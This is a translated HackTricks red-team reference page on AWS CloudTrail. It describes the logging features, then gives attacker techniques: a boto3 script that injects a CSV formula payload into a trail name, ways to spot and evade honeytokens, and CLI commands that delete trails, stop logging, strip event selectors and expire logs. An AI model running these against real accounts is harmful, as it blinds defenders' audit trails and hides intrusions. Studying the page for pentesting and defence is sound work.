AWS - CloudTrail Enum

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

CloudTrail

AWS CloudTrail neem en monitor aktiwiteit binne jou AWS-omgewing op. Dit vang gedetailleerde gebeurtenislogs op, insluitend wie wat, wanneer en van waar, vir alle interaksies met AWS-hulpbronne. Dit bied 'n ouditstelspoor van veranderinge en aksies, wat help met sekuriteitsanalise, nakomingstoetsing en hulpbronveranderingsopsporing. CloudTrail is noodsaaklik vir die begrip van gebruikers- en hulpbron-gedrag, die verbetering van sekuriteitsposisies en die versekering van regulerende nakoming.

Elke gelogde gebeurtenis bevat:

  • Die naam van die geroepte API: eventName

  • Die geroepte diens: eventSource

  • Die tyd: eventTime

  • Die IP-adres: SourceIPAddress

  • Die agentmetode: userAgent. Voorbeelde:

  • Signing.amazonaws.com - Vanaf die AWS-bestuurskonsol

  • console.amazonaws.com - Hoofgebruiker van die rekening

  • lambda.amazonaws.com - AWS Lambda

  • Die versoekparameters: requestParameters

  • Die reaksie-elemente: responseElements

Gebeurtenisse word geskryf na 'n nuwe loglêer ongeveer elke 5 minute in 'n JSON-lêer, dit word deur CloudTrail bewaar en uiteindelik word loglêers ongeveer 15 minute later na S3 gestuur. CloudTrail se logboeke kan saamgevoeg word oor rekeninge en oor streke. CloudTrail maak dit moontlik om loglêerintegriteit te gebruik om te kan verifieer dat jou loglêers onveranderd gebly het sedert CloudTrail dit aan jou gelewer het. Dit skep 'n SHA-256-hash van die logboeke binne 'n digest-lêer. 'n sha-256-hash van die nuwe logboeke word elke uur geskep. Wanneer jy 'n spoor skep, sal die gebeurtenisselekteerders jou toelaat om aan te dui watter spoor gelog moet word: Bestuurs-, data- of insiggebeurtenisse.

Logboeke word gestoor in 'n S3-emmer. Standaard word Server Side Encryption gebruik (SSE-S3) sodat AWS die inhoud vir die mense wat toegang daartoe het, sal ontsluit, maar vir addisionele sekuriteit kan jy SSE met KMS en jou eie sleutels gebruik.

Die logboeke word gestoor in 'n S3-emmer met hierdie naamformaat:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Waar die BucketName is: aws-cloudtrail-logs-<accountid>-<random>

  • Voorbeeld: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Binne elke vouer sal elke log 'n naam volgens hierdie formaat hê: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Loglêernaamkonvensie

Verder sal digest-lêers (om lêerintegriteit te kontroleer) binne dieselfde emmer wees in:

Saamgevoegde Logboeke vanuit Verskeie Rekeninge

  • Skep 'n Spoor in die AWS-rekening waar jy wil hê dat die loglêers afgelewer moet word

  • Pas toestemmings toe op die bestemmings-S3-emmer wat kruisrekeningstoegang vir CloudTrail toelaat en elke AWS-rekening wat toegang nodig het, toelaat

  • Skep 'n nuwe Spoor in die ander AWS-rekeninge en kies om die geskepte emmer in stap 1 te gebruik

Nietemin, selfs al kan jy al die logboeke in dieselfde S3-emmer stoor, kan jy nie CloudTrail-logboeke vanuit verskeie rekeninge saamvoeg in 'n CloudWatch-logboek wat behoort aan 'n enkele AWS-rekening nie.

Onthou dat 'n rekening verskillende Spore van CloudTrail geaktiveer kan hê wat dieselfde (of verskillende) logboeke in verskillende emmers stoor.

Cloudtrail van alle org-rekeninge na 1

Wanneer jy 'n CloudTrail skep, is dit moontlik om aan te dui om cloudtrail te aktiveer vir al die rekeninge in die org en die logboeke in net 1 emmer te kry:

Op hierdie manier kan jy maklik CloudTrail in alle streke van al die rekeninge konfigureer en die logboeke in 1 rekening (wat jy moet beskerm) sentraliseer.

Loglêer Kontrole

Jy kan nagaan dat die logboeke nie verander is deur uit te voer

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs na CloudWatch

CloudTrail kan outomaties logboeke na CloudWatch stuur sodat jy waarskuwings kan instel wanneer verdagte aktiwiteite uitgevoer word. Let daarop dat 'n rol geskep moet word om CloudTrail toe te laat om die logboeke na CloudWatch te stuur. Indien moontlik, word dit aanbeveel om die AWS standaard rol te gebruik om hierdie aksies uit te voer. Hierdie rol sal CloudTrail toelaat om:

  • CreateLogStream: Hierdie aksie maak dit moontlik om 'n CloudWatch Logs logstroom te skep

  • PutLogEvents: Stuur CloudTrail-logboeke na CloudWatch Logs logstroom

Gebeurtenisgeskiedenis

CloudTrail Gebeurtenisgeskiedenis maak dit moontlik om in 'n tabel die gelogde logboeke te ondersoek:

Insigte

CloudTrail Insigte analiseer outomaties skryfbestuursgebeurtenisse van CloudTrail-roetes en waarsku jou vir ongewone aktiwiteit. Byvoorbeeld, as daar 'n toename in TerminateInstance gebeurtenisse is wat verskil van gevestigde basislyne, sal jy dit sien as 'n Insiggebeurtenis. Hierdie gebeurtenisse maak dit makliker as ooit om ongewone API-aktiwiteit te vind en daarop te reageer.

Die insigte word gestoor in dieselfde emmer as die CloudTrail-logboeke in: EmmerNaam/AWSLogs/RekeningID/CloudTrail-Insight

Sekuriteit

Integriteit van CloudTrail-loglêer

  • Valideer of logboeke getamper is (verander of verwyder)

  • Gebruik digest-lêers (skep 'n hasj vir elke lêer)

    • SHA-256 hasing

    • SHA-256 met RSA vir digitale ondertekening

    • privaatsleutel in besit van Amazon

  • Neem 1 uur om 'n digest-lêer te skep (gedoen op die uur elke uur)

Stop ongemagtigde toegang

  • Gebruik IAM-beleide en S3-emmerbeleide

    • sekuriteitspan —> admin toegang

    • <li-revisore —> slegs leestoegang

  • Gebruik SSE-S3/SSE-KMS om die logboeke te enkripteer

Voorkom dat loglêers verwyder word

  • Beperk verwyderingstoegang met IAM- en emmerbeleide

  • Konfigureer S3 MFA verwyder

  • Valideer met Loglêer Validering

Toegangsadviseur

AWS Toegangsadviseur steun op die laaste 400 dae AWS CloudTrail-logboeke om sy insigte te versamel. CloudTrail neem 'n geskiedenis van AWS API-oproepe en verwante gebeurtenisse wat in 'n AWS-rekening gemaak is. Toegangsadviseur maak gebruik van hierdie data om te wys wanneer dienste laas benader is. Deur CloudTrail-logboeke te analiseer, kan Toegangsadviseur bepaal watter AWS-dienste 'n IAM-gebruiker of -rol benader het en wanneer daardie toegang plaasgevind het. Dit help AWS-administrateurs om ingeligte besluite te neem oor die verfyning van toestemmings, aangesien hulle dienste kan identifiseer wat vir lang tydperke nie benader is nie en moontlik oormatig breë toestemmings kan verminder gebaseer op werklike gebruikspatrone.

Daarom gee Toegangsadviseur inligting oor die onnodige toestemmings wat aan gebruikers gegee word sodat die admin dit kan verwyder

Aksies

Enumerasie

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV-inspuiting

Dit is moontlik om 'n CVS-inspuiting binne CloudTrail uit te voer wat arbitrêre kode sal uitvoer as die logboeke in CSV-formaat uitgevoer word en met Excel geopen word. Die volgende kode sal 'n loginskrywing genereer met 'n slegte Trail-naam wat die lading bevat:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Vir meer inligting oor CSV-inspuitings, besoek die bladsy:

Vir meer inligting oor hierdie spesifieke tegniek, besoek https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Deurskuif Deteksie

HoneyTokens deurskuif

HoneyTokens word geskep om eksfiltrering van sensitiewe inligting te detecteer. In die geval van AWS, is hulle AWS-sleutels waarvan die gebruik gemonitor word, as iets 'n aksie met daardie sleutel trigger, het iemand daardie sleutel gesteel.

Hierdie monitorisering word egter uitgevoer via CloudTrail, en daar is sommige AWS-diens wat nie logboeke na CloudTrail stuur (vind die lys hier). Sommige van daardie dienste sal reageer met 'n fout wat die ARN van die sleutelrol bevat as iemand ongemagtig (die honeytoken-sleutel) probeer om dit te benader.

Op hierdie manier kan 'n aanvaller die ARN van die sleutel verkry sonder om enige log te trigger. In die ARN kan die aanvaller die AWS-rekening-ID en die naam sien, dit is maklik om die HoneyToken se maatskappye se rekening-ID's en name te identifiseer, sodat 'n aanvaller kan bepaal of die token 'n HoneyToken is.

HoneyTokens Deteksie

Pacu bepaal of 'n sleutel behoort aan Canarytokens, SpaceCrab, SpaceSiren:

  • As canarytokens.org in die rol naam of die rekening-ID 534261010715 in die foutboodskap verskyn.

  • Na toetse, gebruik hulle die rekening 717712589309 en het steeds die canarytokens.com string in die naam.

  • As SpaceCrab in die rol naam in die foutboodskap verskyn

  • SpaceSiren gebruik uuids om gebruikersname te genereer: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • As die naam soos willekeurig gegenereer lyk, is daar 'n hoë waarskynlikheid dat dit 'n HoneyToken is.

Let daarop dat alle openbare API's wat ontdek is om nie CloudTrail-logboeke te skep nie, nou reggestel is, dus moet jy dalk jou eie vind...

Of jy kan die Rekening-ID kry van die geënkripteerde binne die toegangssleutel soos hier verduidelik en die rekening-ID met jou lys van Honeytokens AWS-rekeninge nagaan:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Vir meer inligting, kyk na die oorspronklike navorsing.

Toegang tot Derde-infrastruktuur

Sekere AWS-diens sal sekere infrastruktuur skep soos Databasisse of Kubernetes-groeperings (EKS). 'n Gebruiker wat direk met hierdie dienste kommunikeer (soos die Kubernetes API) sal nie die AWS API gebruik nie, dus sal CloudTrail nie hierdie kommunikasie kan sien nie.

Daarom kan 'n gebruiker met toegang tot EKS wat die URL van die EKS API ontdek het, plaaslik 'n token genereer en direk met die API-diens kommunikeer sonder om deur Cloudtrail opgespoor te word.

Meer inligting in:

pageAWS - EKS Post Exploitation

Wysiging van CloudTrail-konfigurasie

Verwyder roetes

aws cloudtrail delete-trail --name [trail-name]

Stop stertogte

aws cloudtrail stop-logging --name [trail-name]

Deaktiveer multi-streek logging

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Deaktiveer Logging deur Gebeurtenis Seletors

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

In die eerste voorbeeld word 'n enkele gebeurtenis-selekteerder verskaf as 'n JSON-array met 'n enkele objek. Die "ReadWriteType": "ReadOnly" dui aan dat die gebeurtenis-selekteerder slegs leesgebeurtenisse moet vasvang (so CloudTrail-insigte sal nie skryfgebeurtenisse nagaan nie).

Jy kan die gebeurtenis-selekteerder aanpas gebaseer op jou spesifieke vereistes.

Logs verwydering via S3 lewensiklusbeleid

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Wysiging van Emmersamestelling

  • Verwyder die S3-emmer

  • Verander die emmerbeleid om enige skryfaksies van die CloudTrail-diens te ontken

  • Voeg 'n lewensikluspbeleid by aan die S3-emmer om voorwerpe te verwyder

  • Deaktiveer die kms-sleutel wat gebruik word om die CloudTrail-logboeke te versleutel

Cloudtrail losgeldware

S3 losgeldware

Jy kan 'n asimmetriese sleutel genereer en CloudTrail die data laat versleutel met daardie sleutel en die privaatsleutel verwyder sodat die CloudTrail-inhoud nie herstel kan word nie. Dit is basies 'n S3-KMS losgeldware wat verduidelik word in:

pageAWS - S3 Post Exploitation

KMS losgeldware

Dit is 'n makliker manier om die vorige aanval uit te voer met verskillende toestemmingsvereistes:

pageAWS - KMS Post Exploitation

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated